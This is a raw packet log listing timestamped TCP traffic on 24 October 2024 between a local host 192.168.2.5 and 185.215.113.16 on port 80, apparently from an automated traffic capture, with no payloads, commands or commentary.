Oct 24, 2024 08:38:11.193806887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193811893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193811893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193819046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193829060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193840027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193860054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193860054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193886995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193897009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193901062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193901062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193906069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193917036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.193954945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.193954945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.235208988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.235227108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.235239983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.235285997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.235315084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246356964 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246370077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246390104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246402025 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246417046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246481895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246478081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246478081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246478081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246495008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246514082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246525049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246536970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246551037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246551037 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246567965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246579885 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246584892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246591091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246614933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246635914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246646881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246659040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246670961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246711016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246711016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246855974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246876001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246886969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246932983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246948004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.246977091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.246977091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.247028112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.247186899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247234106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247246027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247277975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.247277975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.247306108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247318983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.247324944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247335911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.247371912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.310489893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.310539007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.310553074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.310650110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311142921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311227083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311460972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311471939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311484098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311518908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311522007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311522007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311533928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311546087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311558008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311568022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311582088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.311599016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311599016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311640024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.311640024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.352484941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.352528095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.352572918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.352602005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.352627039 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.352627993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363487959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363501072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363512039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363574982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363574982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363610029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363621950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363634109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363646030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363657951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363665104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363665104 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363676071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363688946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363698006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363698006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363701105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363729000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363734007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363734007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363769054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363780975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363792896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363818884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363830090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363840103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363840103 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363841057 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363867044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363867044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363877058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363913059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363913059 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.363956928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363970041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363981962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.363993883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364025116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364036083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364042997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364125967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364166975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364204884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364233971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364244938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364255905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364263058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.364276886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364308119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.364308119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.412429094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.412647963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.412750006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.412786007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.412918091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427562952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427613020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427624941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427637100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427649975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427654028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427654028 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427694082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427822113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427846909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427892923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427901983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427905083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427917957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.427961111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.427961111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.469204903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469273090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469309092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469342947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469376087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.469376087 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.469381094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469400883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.469410896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.469472885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.469557047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480475903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480556011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480585098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480622053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480664015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480664015 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480669022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480706930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480722904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480745077 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480793953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480793953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480807066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480865955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480917931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480927944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480927944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.480966091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.480989933 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481005907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481009960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481009960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481019974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481036901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481040955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481040955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481051922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481067896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481077909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481077909 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481082916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481098890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481108904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481108904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481111050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481127977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481134892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481134892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481143951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481158972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481174946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481189013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481189013 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481215000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481219053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481231928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481235981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481246948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.481271982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481271982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.481391907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.523919106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.523933887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.523948908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.524059057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.528965950 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.528981924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.528992891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.529047966 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.529047966 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.544775963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.544833899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.544863939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.544889927 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.544898987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545031071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545044899 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545059919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545077085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545077085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545087099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545100927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545114994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545125008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545140982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.545154095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545154095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545171022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.545198917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.586148977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.586179972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.586194992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.586210966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.586280107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.586280107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.597404003 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597457886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597482920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.597487926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597537994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.597537994 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.597624063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597657919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597692013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.597729921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.597729921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598031998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598087072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598125935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598136902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598170042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598195076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598195076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598202944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598232985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598249912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598249912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598279953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598313093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598320961 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598354101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598386049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598406076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598406076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598422050 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598455906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598488092 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598500967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598500967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598524094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598551035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598556995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598591089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598612070 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598623991 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598648071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598659039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598691940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598701000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598701000 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598731041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598763943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598797083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.598809958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598809958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.598830938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.599042892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.641055107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.641115904 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.641149044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.641180038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.641180038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.641247988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.645996094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.646024942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.646146059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.646173954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.646209955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.646228075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.661824942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.661859989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.661894083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.661926985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.661942959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.661961079 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.661963940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.662007093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.662007093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.662014961 CEST	80	60982	185.215.113.16	192.168.2.5
